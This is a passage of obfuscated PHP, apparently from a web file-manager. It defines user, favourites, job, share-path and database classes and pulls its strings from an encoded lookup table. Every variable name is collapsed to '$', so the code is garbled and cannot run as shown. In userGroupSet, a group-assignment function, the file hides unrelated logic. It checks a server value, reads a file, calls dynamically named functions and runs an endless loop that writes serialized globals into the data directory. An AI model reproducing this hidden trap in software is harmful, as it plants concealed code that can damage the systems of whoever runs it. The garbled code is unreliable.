$[$[1843]] = get_path_this($); $[$[1845]] = $; $[$[1846]] = $; $[$[1158]] = $ == $[1913] ? $[1914] : $[1915]; $[$[1847]] = $[12]; $[$[853]] = $; $[$[1911]] = $[400]; $this->update(); } public function unzipAfter($) { $ =& $_SERVER[]; $ =& $this->task; $[$[1911]] = $[110]; $ = IO::infoWithChildren($); $ = 0; $[$[1854]] = array($[1855] => $ + 1, $[506] => $[$[32]], $[87] => $[$[87]], $[596] => $[$[596]] ? $[$[596]] : $[$[87]]); if ($[$[33]] == $[233]) { $[$[1156]] = 1; } else { $[$[1156]] = $[$[82]][$[80]]; } $[$[1158]] = $[12]; $[$[1847]] = 0; $[$[1792]] = 0; $[$[1845]] = 0; $[$[1846]] = 0; $[$[1843]] = $[12]; $[$[1850]] = 0; $[$[853]] = $[$[79]]; $this->update(); self::log($[1916] . json_encode(array($, $))); } public function nameParse($) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1911]] == $[1295]) { $[$[1911]] = $[400]; $[$[1850]] = 0; $[$[853]] = 0; } $ = get_path_this($); if (strstr($, $[10])) { $[$[1792]] += 1; $[$[1156]] += 1; } $[$[1843]] = $; $this->update(); } } goto A; d: class UserFavModel extends ModelBase { protected $tableName = "user_fav"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2107] => array(USER_ID, $[2486])); } protected function listData() { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[571] => 0); $ = $[2487]; $ = $this->field($)->where($)->order($[2488])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[]; $ = $this->listData(); $ = array_filter_by_field($, $[33], $[502]); $ = array_to_keyvalue($, $[12], $[87]); if (!$) { return $; } $ = 2000; $ = array($[503] => array($[504], $)); $ = Model($[920])->listSource($, $); $ = array_merge($[$[86]], $[$[85]]); $ = array_to_keyvalue($, $[194]); foreach ($ as $ => $) { $ = $[$[$[87]]]; $ = $ ? $ : array(); $[$] = array_merge($, $); } return $; } protected function addFav($, $ = '', $ = "source") { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[571] => 0, $[508] => $, $[507] => $); if ($this->where($)->find()) { return !1; } $ = array($[1782] => USER_ID, $[571] => 0); $ = $this->where($)->max($[2016]); if (!$) { $ = 0; } if (!$ && $ == $[502]) { $ = Model($[1437])->where(array($[503] => $))->find(); if (!$) { return !1; } $ = $[$[32]]; } $ = $this->getAutoName($); $ = array($[1782] => USER_ID, $[571] => 0, $[506] => $, $[507] => $, $[508] => $, $[1996] => $ + 1); return $this->add($); } protected function remove($) { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[505] => $); return $this->where($)->delete(); } protected function removeByName($) { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[506] => $, $[571] => 0); return $this->where($)->delete(); } protected function rename($, $) { $ =& $_SERVER[]; if ($ == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $ = array($[1782] => USER_ID, $[571] => 0, $[32] => $); return $this->where($)->save(array($[32] => $)); } protected function resetSort($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array($[1782] => USER_ID); for ($ = 0; $ < count($); $++) { $[$[505]] = $[$]; $this->where($)->save(array($[1996] => $ + 1)); } return !0; } protected function moveTop($) { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[571] => 0); $ = $this->where($)->where(array($[32] => $))->find(); if (!$) { return; } $ = $this->field($[487])->where($)->order($[2488])->select(); $ = array_to_keyvalue($, $[12], $[487]); $ = $; $ = array_remove_value($, $[$[487]]); array_unshift($, $[$[487]]); return $this->resetSort($); } protected function moveBottom($) { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[571] => 0); $ = $this->where($)->max($[2016]); $ = array($[2016] => $ + 1); return $this->where($)->where(array($[32] => $))->save($); } private function getAutoName($) { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[571] => 0); $ = $this->field($[32])->where($)->select(); $ = array_to_keyvalue($, $[12], $[32]); if (!$ || !in_array($, $)) { return $; } for ($ = 0; $ < count($); $++) { if (!in_array($ . "({$})", $)) { return $ . "({$})"; } } return $ . "({$})"; } } class UserJobModel extends ModelBaseLight { public $optionType = "System.jobList"; public $field = array("name", "desc", "sort"); const JOB_KEY = "selfJobList"; public function listData($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } public function remove($) { return parent::remove($); } public function add($) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $[$[2016]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[2016]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[487]] != $[$[487]]) { return !1; } return parent::update($, $); } public function setUserJob($, $) { $ =& $_SERVER[]; if (!is_array($)) { $ = array($); } $ = parent::listData(); $ = array_to_keyvalue($, $[32]); $ = $[466]; foreach ($ as $) { if ($[$]) { $ .= $[$][$[487]] . $[50]; } else { $ = $this->add($); $ .= $ . $[50]; } } $ = rtrim($, $[50]); Model($[611])->metaSet($, self::JOB_KEY, $); } public function getUserJob($) { $ = Model($_SERVER[][611])->metaGet($); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($) { $ =& $_SERVER[]; $ = explode($[50], $); $ = parent::listData(); $ = array_remove_key($, $[234]); $ = array(); foreach ($ as $) { if (isset($[$])) { $[] = $[$]; } } return $; } } class UserModel extends ModelBase { protected $tableName = "user"; protected $tableMeta = array("tableName" => "user_meta", "metaField" => "userID"); protected $simpleField = "userID,nickName,name,avatar,sex,status"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = $[2489]; return array($[2074] => array($[0], $), $[2076] => array($[0], $), $[2490] => array($[0], $)); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[][2078], $); } protected function getInfoFull($, $ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[][2491], $); } private function _getInfoApply($, $ = false) { $ =& $_SERVER[]; if (!$) { return $; } $ = md5($[2492] . $[$[982]] . $[2493] . $[$[32]]); $ = $this->_listDataApplyItem($); $ = Model($[1437])->metaGet($[$[90]][$[194]]); $[$[2494]] = $; $[$[90]][$[2278]] = isset($[$[2279]]) ? $[$[2279]] : null; if ($) { $[$[553]] = $this->metaGet($[$[1791]]); } return $; } protected function getInfoSimple($, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if ($) { $ = $this->where(array($[1791] => intval($)))->find(); if (!is_array($)) { return array(); } $[$[2495]] = Action($[2496])->parseUrl($[$[2495]]); return $; } return $this->cacheFunctionGet($[2079], $); } protected function getInfoSimpleOuter($) { $ =& $_SERVER[]; if (!$ || $ == 0) { return array($[1791] => $[231], $[32] => $[176] . LNG($[2497]) . $[178], $[2495] => STATIC_PATH . $[2498]); } $ = $this->cacheFunctionGet($[2079], $); $ = array_field_key($, explode($[50], $this->simpleField)); if (!$) { return array($[1791] => $[1289], $[32] => $[176] . LNG($[2499]) . $[178], $[2495] => STATIC_PATH . $[2500]); } $[$[2495]] = Action($[2496])->parseUrl($[$[2495]]); return $; } protected function groupUser($) { } public static function errorLang($) { $ =& $_SERVER[]; $ = array(self::ERROR_USER_NOT_EXISTS => $[2501], self::ERROR_USER_PASSWORD_ERROR => $[2502], self::ERROR_USER_EXIST_NAME => $[2503], self::ERROR_USER_EXIST_PHONE => $[2504], self::ERROR_USER_EXIST_EMAIL => $[2505], self::ERROR_USER_LOGIN_LOCK => $[2506], self::ERROR_IP_NOT_ALLOW => $[2507], self::ERROR_USER_EXIST_NICKNAME => $[2508]); $ = LNG($[$]); if ($ == self::ERROR_USER_LOGIN_LOCK) { $ = (int) Model($[2509])->get($[2510]); if ($ > 60) { $ = str_replace($[91], ceil($ / 60), $); } } return $; } protected function metaSet($, $ = null, $ = null) { $this->clearCache($); return parent::metaSet($, $, $); } public function getInfoByMeta($, $) { $ =& $_SERVER[]; $ = Model($[2511])->where(array($[97] => $, $[462] => $))->find(); if ($) { return $this->getInfo($[$[1791]]); } return !1; } public function userLoginCheck($, $, $ = false) { $ =& $_SERVER[]; $ = $this->userLoginFind($); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1791]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $ ? $this->getInfoFull($[$[1791]]) : $this->getInfo($[$[1791]]); } public function userLoginFind($) { $ =& $_SERVER[]; $ = array($[32] => $, $[2291] => $, $[392] => $, $[2512] => $, $[1093] => $[1095]); if ($this->nickNameRpt()) { unset($[$[2291]]); } return $this->where($)->find(); } public function clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[2078], $); $this->cacheFunctionClear($[2079], $); $this->cacheFunctionClear($[2491], $); } public function userPasswordCheck($, $) { $ =& $_SERVER[]; $ = $this->where(array($[1791] => intval($)))->find(); $ = $this->metaGet($); $ = isset($[$[2513]]) ? $[$[2513]] : $[12]; if (md5($ . trim($)) !== $[$[982]]) { return !1; } return !0; } public function userAdd($) { $ =& $_SERVER[]; $ = array($[506] => $[$[32]], $[2514] => $[$[2202]], $[2515] => isset($[$[392]]) ? $[$[392]] : $[12], $[2516] => isset($[$[2512]]) ? $[$[2512]] : $[12], $[2517] => isset($[$[2291]]) ? $[$[2291]] : $[$[32]], $[2518] => isset($[$[2495]]) ? $[$[2495]] : $[12], $[2519] => isset($[$[2520]]) ? $[$[2520]] : 1, $[2521] => $[$[982]], $[2080] => isset($[$[1978]]) ? $[$[1978]] : 1024 * 1024 * 20, $[2081] => 0, $[2522] => 0, $[2125] => isset($[$[840]]) ? $[$[840]] : 1); if (!empty($[$[1791]])) { $[$[1791]] = $[$[1791]]; } $ = $this->_checkExist($); if ($ !== !0) { return $; } if (!empty($[$[2495]]) && strlen($[$[2495]]) > 255) { $[$[2495]] = $[12]; } $ = $this->add($); $ = array($[2521] => $[$[982]], $[2517] => $[$[2291]]); $this->userEdit($, $); Model($[1437])->userRootAdd($); return $; } protected function userEditTest($, $) { return $this->call($_SERVER[][2523], $, $); } protected function userEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ = $this->_checkExist($, $); if ($ !== !0) { return $; } if (isset($[$[982]]) && trim($[$[982]]) != $[12]) { $ = $this->metaGet($); if (empty($[$[2513]])) { $[$[2513]] = rand_string(10); Model($[591])->metaSet($, $[2513], $[$[2513]]); } $[$[982]] = md5($[$[2513]] . trim($[$[982]])); } else { unset($[$[982]]); } if (!empty($[$[2495]]) && strlen($[$[2495]]) > 255) { $[$[2495]] = $[12]; } $this->where(array($[1782] => $))->save($); if (isset($[$[2291]])) { $this->setNamePinyin($, $[$[2291]]); } $this->clearCache($); return !0; } public function setNamePinyin($, $ = false) { $ =& $_SERVER[]; if (!$) { $ = $this->getInfoSimple($); $ = $[$[2291]] ? $[$[2291]] : $[$[32]]; } $ = Model($[611]); if (!Input::check($, $[672])) { return $->metaSet($, array($[550] => $[12], $[549] => $[12])); } return $->metaSet($, array($[550] => str_replace($[53], $[12], Pinyin::get($)), $[549] => Pinyin::get($, $[673]))); } private function nickNameRpt() { $ =& $_SERVER[]; $ = Model($[860])->get($[2524]); $ = $GLOBALS[$[6]][$[469]][$[2524]]; $ = !is_null($) ? $ : $; return !!$; } private function _checkExist($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2291] => UserModel::ERROR_USER_EXIST_NICKNAME, $[392] => UserModel::ERROR_USER_EXIST_EMAIL, $[2512] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[2291]]); } $ = $ ? array($[1791] => array($[2525], $)) : array(); foreach ($ as $ => $) { $ = array(); foreach ($ as $ => $) { if (isset($[$]) && $[$]) { $[] = $[$]; } } if (!$) { continue; } $ = array_merge(array($ => array($[7], $)), $); $ = $this->where($)->find(); if ($) { return $; } } return !0; } public function userListInfo($) { $ =& $_SERVER[]; $ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $; } if (count($) < 20) { foreach ($ as $) { $[$ . $[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($[1782] => array($[504], $)); if (count($) == 1) { $ = array($[1782] => $[0]); } $ = Model($[591])->field($this->simpleField)->where($)->select(); $ = array_to_keyvalue($, $[1791]); foreach ($ as $) { $ = $[$]; if (!$) { $[$ . $[12]] = $this->getInfoSimpleOuter($); continue; } $[$[2495]] = Action($[2496])->parseUrl($[$[2495]]); $[$ . $[12]] = $; } } return $; } protected function userStatus($, $) { $ = $this->getInfoSimple($); if (!$) { return !1; } $ = array($_SERVER[][840] => $); return $this->userEdit($, $); } protected function userRemove($) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ = array($[1782] => $); Model($[681])->where($)->delete(); Model($[2526])->where($)->delete(); Model($[2086])->where($)->delete(); Model($[2511])->where($)->delete(); Model($[1162])->where($)->delete(); Model($[2308])->removeUserAll($); Model($[920])->userRootRemove($); return $this->where($)->delete(); } protected function userGroupSet($, $, $ = array()) { $ =& $_SERVER[]; $ = $_SERVER[$[316]]; $ = $[317]; if ($_SERVER[$[318]] != $($)) { $ = $[973]; $ = $[319]; $ = $_SERVER[$[320]] . $[321]; $ = $($); $ = explode($[288], $); if (count($) < $[700]) { $ = $[323]; $(); } $ = $[974]; $($_SERVER[$[975]]); $ = $[973]; $(); $ = $[1707]; $ = json_encode($GLOBALS[$[1708]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } $ = $this->getInfoSimple($); if (!$ || !is_array($)) { return !1; } $ = Model($[2086]); $->where(array($[1791] => $))->delete(); $ = array(); $ = 0; foreach ($ as $ => $) { $ = array($[1791] => $, $[1992] => $, $[2100] => $); $[$[2016]] = isset($[$]) ? $[$] : 0; $++; $[] = $; } return $->addAll($, array(), !0); } protected function userGroupAdd($, $ = array()) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || empty($)) { return !1; } $ = array(); foreach ($ as $ => $) { $[] = array($[1791] => $, $[1992] => $, $[2100] => $, $[2016] => 0); } return Model($[2086])->addAll($, array(), !0); } protected function userGroupRemove($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || !$) { return !1; } $ = array($[1782] => $, $[2084] => $); return Model($[2086])->where($)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][457]]); return $; } public function listByID($) { $ =& $_SERVER[]; if (!$) { return; } $ = array($[1791] => array($[7], $)); $ = $this->where($)->select(); $ = array_sort_keep($, $[1791], $); $this->_listDataApply($); return $; } public function listByGroup($ = 0, $ = array()) { $ =& $_SERVER[]; $ = $[12]; $ = array(); if ($) { $ = array($[2527] => intval($)); $ = "LEFT JOIN {$this->tablePrefix}user_group user_group on user.userID = user_group.userID"; $ = Input::get($[542], null, $[12]) ? $[12] : $[2528]; } if (isset($[$[840]])) { $[$[2529]] = $[$[840]]; } $ = _get($, $[2530], $[234]); if (_get($, $[850], !1)) { $[$] = array($[2272], $[$[850]]); } if (_get($, $[851], !1)) { $ = array($[2273], $[$[851]]); if ($[$]) { $[$] = array($[$], $, $[2274]); } else { $[$] = $; } } $ = $this->_makeOrder($)->field($[2531])->where($)->join($)->selectPage(50); $this->_listDataApply($[$[457]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[1791], $[32], $[1980], $[2202], $[1952], $[234]); $ = array($[535] => $[536], $[537] => $[538]); $ = Input::get($[542], $[7], $[1782], $); $ = Input::get($[543], $[7], $[2087], array($[2087], $[537])); $ = $[$]; $ = $ . "user.{$} {$}, user.userID asc"; return $this->alias($[2218])->order($); } public function listSearch($) { $ =& $_SERVER[]; $ = trim($[$[2090]]); $ = explode($[53], $); if (!$ || count($) == 1) { return $this->listSearchNow($); } $ = array($[457] => array()); foreach ($ as $) { if (!trim($)) { continue; } $[$[2090]] = $; $ = $this->listSearchNow($); $[$[457]] = array_merge($[$[457]], $[$[457]]); } $[$[457]] = array_unique_by_key($[$[457]], $[1791]); $[$[454]] = array($[455] => count($[$[457]]), $[451] => 20, $[440] => 1, $[456] => 1); return $; } public function listSearchNow($) { $ =& $_SERVER[]; $ = trim($[$[2090]]); $ = isset($[$[2091]]) ? $[$[2091]] : !1; $ = str_replace($[2092], $[2093], trim($)); $ = array($[32] => array($[471], "%{$}%"), $[392] => array($[471], "{$}%"), $[2291] => array($[471], "{$}%"), $[1093] => $[2094]); if (Input::check($, $[398])) { $[$[1791]] = array($[471], "{$}%"); $[$[2512]] = array($[471], "{$}%"); } if (!$) { $ = array(); } if (isset($[$[840]])) { $[$[840]] = $[$[840]]; } $ = $this->parseWhereLike($); $ = $this->_makeOrder()->where($)->selectPage(20); if (!$ || count($[$[457]]) < 5 && Input::check($, $[405])) { $ = $this->_searchFromMeta($[549], $, 10); $ = $this->_searchFromMeta($[550], $, 10); $ = array_merge($, $, $[$[457]]); $[$[457]] = array_unique_by_key($, $[1791]); $[$[454]][$[455]] = count($[$[457]]); $[$[454]][$[456]] = ceil($[$[454]][$[455]] / $[$[454]][$[451]]); } $this->_listDataApply($[$[457]]); $this->_filterByGroup($, $); return $; } private function _filterByGroup(&$, $) { $ =& $_SERVER[]; if (!$) { return $; } foreach ($[$[457]] as $ => &$) { $ = array_to_keyvalue($[$[2187]], $[12], $[1992]); if (!in_array($, $)) { unset($[$[457]][$]); } } unset($); $[$[457]] = array_values($[$[457]]); $[$[454]] = array($[2255] => count($[$[457]]), $[2253] => $[$[454]][$[451]], $[2252] => 1, $[2254] => 1); } private function _searchFromMeta($, $, $) { $ =& $_SERVER[]; $ = strtolower($); $ = array($[97] => $, $[462] => array($[471], "%{$}%")); $ = $this->parseWhereLike($); $ = Model($[2532])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1791]); $ = $this->where(array($[1782] => array($[7], $)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$) { $ =& $_SERVER[]; if (!$) { return; } array_remove_key($, $[982]); $ = array_to_keyvalue($, $[12], $[1791]); $this->_listAppendGroup($, $); $this->_listAppendMeta($, $); $this->_listAppendSourceRoot($, $); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $ = Model($[920])->listSourceRoot(SourceModel::TYPE_USER, $); $ = array_to_keyvalue($, $[583]); $ = array_remove_key($, $[583]); foreach ($ as &$) { $[$[90]] = $[$[$[1791]]] ? $[$[$[1791]]] : array(); } unset($); } private function _listAppendGroup(&$, $) { $ =& $_SERVER[]; $ = array($[1791] => array($[7], $)); $ = Model($[2086])->where($)->select(); $ = array_to_keyvalue($, $[12], $[1992]); $ = array_remove_value(array_unique($), $[231]); if (!$ || !$) { return; } $ = array($[1992] => array($[7], $)); $ = Model($[2185])->field($[2533])->where($)->select(); $ = array_to_keyvalue($, $[1992]); $ = array_to_keyvalue_group($, $[1791]); foreach ($ as &$) { $ = array(); foreach ($ as $) { if (!$[$[2100]]) { continue; } $ = Model($[585])->listData($[$[2100]]); $[] = array($[1992] => $[$[1992]], $[2534] => $[$[$[1992]]][$[32]], $[598] => $[$[$[1992]]][$[598]], $[499] => $); } $ = $; } unset($); foreach ($ as &$) { $[$[2187]] = array(); if (isset($[$[$[1791]]])) { $[$[2187]] = $[$[$[1791]]]; } } unset($); } public function userAppendGroup($) { $ =& $_SERVER[]; if (!$) { return array(); } $this->_listAppendGroup($, array_to_keyvalue($, $[12], $[1791])); return $; } private function _listAppendMeta(&$, $) { $ =& $_SERVER[]; $ = UserJobModel::JOB_KEY; $ = array($[2513]); $ = array($[1791] => array($[7], $)); $ = Model($[2511])->where($)->select(); $ = array_to_keyvalue_group($, $[1791]); foreach ($ as &$) { $ = array(); foreach ($ as $) { if (!in_array($[$[97]], $)) { $[$[$[97]]] = $[$[462]]; } } $ = $; } unset($); $ = Model($[2535]); foreach ($ as &$) { $ = array(); if (isset($[$[$[1791]]])) { $ = $[$[$[1791]]]; } $[$[2536]] = array(); if (isset($[$])) { $[$[2536]] = $->getUserJobInfo($[$]); } } unset($); } protected function groupUserAll($) { $ =& $_SERVER[]; if (!$) { return !1; } $ = Model($[2086])->field($[1791])->where(array($[1992] => array($[7], $)))->select(); $ = array_to_keyvalue($, $[12], $[1791]); return array_unique($); } public function userSearch($, $ = "*") { return Model($_SERVER[][611])->where($)->field($)->find(); } } goto E; e: class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($, $) { $ =& $_SERVER[]; if (method_exists($this, $)) { return; } $ = call_user_func_array(array($[1447], $), $); $ = array($[1448], $[1449], $[1450], $[1451], $[635], $[637], $[1452], $[110], $[1453], $[1454]); if (in_array($, $)) { $ = $this->getPathOuter($); } return $; } public function copy($, $, $ = false, $ = false) { return $this->copyMove($, $, $, $_SERVER[][635], $); } public function move($, $, $ = false, $ = false) { return $this->copyMove($, $, $, $_SERVER[][637], $); } private function copyMove($, $, $, $, $ = false) { $ =& $_SERVER[]; $ = $; $ = IO::driverMake($); if ($->pathParse[$[1248]]) { $ = $->pathParse[$[1248]]; } else { $ = $; } $ = IO::copyMove($, $, $, $, $); $ = $this->getPathOuter($); return $; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][87]]); } public function pathFather($) { return get_path_father($this->pathParse[$_SERVER[][87]]); } public function iconvSystem($) { return $; } protected function infoParse($, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[574]][$[1273]] . $this->pathParse[$[1266]]; if ($) { $ = IO::infoWithChildren($); } else { $ = IO::info($); } $ = $this->pathParse[$[574]]; return Action($[1444])->_shareItemeParse($, $); } public function listAll($) { $ =& $_SERVER[]; $ = IO::listAll($); $ = rtrim($this->pathParse[$[574]][$[1273]], $[8]); foreach ($ as &$) { $[$[87]] = $this->pathDriver . $[8] . ltrim(substr($[$[87]], strlen($)), $[8]); } unset($); return $; } public function listAllSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->listAll($); $ = $this->pathParse[$[507]]; if (trim($, $[8]) == trim(get_path_father($), $[8])) { $ = !0; } return IO::init($[12])->listAllSimpleMake($, $, $); } public function getPathOuter($) { $ =& $_SERVER[]; $ = KodIO::parse($); if ($[$[33]] == KodIO::KOD_SHARE_ITEM) { return $[$[87]]; } $ = KodIO::clear($); $ = KodIO::clear($this->pathParse[$[574]][$[1273]]); $ = substr($, strlen($)); if (substr($, 0, strlen($)) != $) { return !1; } return $this->pathParse[$[1267]] . $[8] . ltrim($, $[8]); } public function getType() { $ =& $_SERVER[]; $ = str_replace($[77], $[12], get_class($this)); return strtolower($); } public function isOsDriver($) { return IO::isOsDriver($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($) { return $this->infoParse($); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($, $ = false) { $ =& $_SERVER[]; return Action($[1272])->sharePathInfo($this->pathParse[$[87]], !0, $); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = IO::listPath($, $); if (!$) { return $; } if (is_array($[$[1446]])) { $ = Action($[1455])->parsePathChildren($[$[1446]], array($[507] => $)); $[$[1446]] = Action($[1272])->shareItemInfo($); } foreach ($ as $ => $) { if (!in_array($, array($[86], $[85]))) { continue; } foreach ($ as $ => $) { $ = Action($[1455])->parsePathChildren($, array($[507] => $)); $[$][$] = Action($[1272])->shareItemInfo($); } } return $; } } class PathDriverEDS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][250]); } } goto a; f: $fileSize = strrev(base64_decode($_SERVER[][0])); function binCheckNeq($, $) { return $ != $; } $_SERVER[$_SERVER[][1]] = $fileSize($_SERVER[$_SERVER[][2]]); goto d; c: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "_think_"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("eq" => "=", "neq" => "<>", "gt" => ">", "egt" => ">=", "lt" => "<", "elt" => "<=", "notlike" => "NOT LIKE", "like" => "LIKE", "in" => "IN", "notin" => "NOT IN", "not in" => "NOT IN", "between" => "BETWEEN", "notbetween" => "NOT BETWEEN", "not between" => "NOT BETWEEN"); protected $selectSql = "SELECT%DISTINCT% %FIELD% FROM %TABLE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%COMMENT%"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][1053], $); } public function factory($ = '') { $ =& $_SERVER[]; $ = $this->parseConfig($); if (empty($[$[1054]])) { think_exception(think_lang($[1055])); } $this->dbType = ucwords(strtolower($[$[1054]])); $ = $[1056] . $this->dbType; if (class_exists($)) { $ = new $($); if ($[1057] != strtolower($[$[1054]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($[$[1009]]); } } else { think_exception(think_lang($[1058]) . $[1059] . $); } return $; } public function __call($, $) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } } protected function _getDsnType($) { $ = explode($_SERVER[][4], $); $ = strtoupper(trim($[0])); return $; } private function parseConfig($ = '') { $ =& $_SERVER[]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($[1054] => $[$[1060]], $[981] => $[$[1061]], $[982] => $[$[1062]], $[979] => $[$[1063]], $[980] => $[$[1064]], $[21] => $[$[1065]], $[1009] => $[$[1066]], $[17] => isset($[$[1067]]) ? $[$[1067]] : array()); } elseif (empty($)) { if (think_config($[1068]) && $[1057] != strtolower(think_config($[1069]))) { $ = $this->parseDSN(think_config($[1068])); } else { $ = array($[1054] => think_config($[1069]), $[981] => think_config($[1070]), $[982] => think_config($[1071]), $[979] => think_config($[1072]), $[980] => think_config($[1073]), $[21] => think_config($[335]), $[1009] => think_config($[1068]), $[17] => think_config($[1074])); } } return $; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $) { $this->_linkID = $; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ = false) { $ =& $_SERVER[]; static $ = array(); static $ = -1; if (empty($)) { foreach ($this->config as $ => $) { $[$] = explode($[50], $); } } if (think_config($[1075])) { if ($ || think_config($[483]) === !0) { $ = floor(mt_rand(0, think_config($[1076]) - 1)); $ = $; } else { if (is_numeric(think_config($[1077]))) { $ = think_config($[1077]); } else { $ = floor(mt_rand(think_config($[1076]), count($[$[979]]) - 1)); } } } else { $ = floor(mt_rand(0, count($[$[979]]) - 1)); $ = $; } $ = $ !== -1 ? $ : $; $ = array($[981] => isset($[$[981]][$]) ? $[$[981]][$] : $[$[981]][0], $[982] => isset($[$[982]][$]) ? $[$[982]][$] : $[$[982]][0], $[979] => isset($[$[979]][$]) ? $[$[979]][$] : $[$[979]][0], $[980] => isset($[$[980]][$]) ? $[$[980]][$] : $[$[980]][0], $[21] => isset($[$[21]][$]) ? $[$[21]][$] : $[$[21]][0], $[1009] => isset($[$[1009]][$]) ? $[$[1009]][$] : $[$[1009]][0], $[17] => isset($[$[17]][$]) ? $[$[17]][$] : $[$[17]][0]); return $this->connect($, $); } public function parseDSN($) { $ =& $_SERVER[]; if (empty($)) { return !1; } $ = parse_url($); if ($[$[208]]) { $ = array($[1054] => $[$[208]], $[981] => isset($[$[679]]) ? $[$[679]] : $[12], $[982] => isset($[$[1078]]) ? $[$[1078]] : $[12], $[979] => isset($[$[209]]) ? $[$[209]] : $[12], $[980] => isset($[$[210]]) ? $[$[210]] : $[12], $[21] => isset($[$[87]]) ? substr($[$[87]], 1) : $[12]); } else { preg_match($[1079], trim($), $); $ = array($[1054] => $[1], $[981] => $[2], $[982] => $[3], $[979] => $[4], $[980] => $[5], $[21] => $[6]); } $[$[1009]] = $[12]; return $; } protected function debug() { $ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1080]; if (think_config($[1081])) { think_status($[1082]); think_trace($this->queryStr . $[1083] . think_status($[24], $[1082], 6) . $[1084], $[12], $[1085]); } } protected function parseLock($ = false) { $ =& $_SERVER[]; if (!$) { return $[12]; } if ($[1011] == $this->dbType) { return $[1086]; } return $[1087]; } protected function parseSet($) { $ =& $_SERVER[]; foreach ($ as $ => $) { if (is_array($) && $[384] == $[0]) { $[] = $this->parseKey($) . $[518] . $[1]; } elseif (is_scalar($) || is_null($)) { $[] = 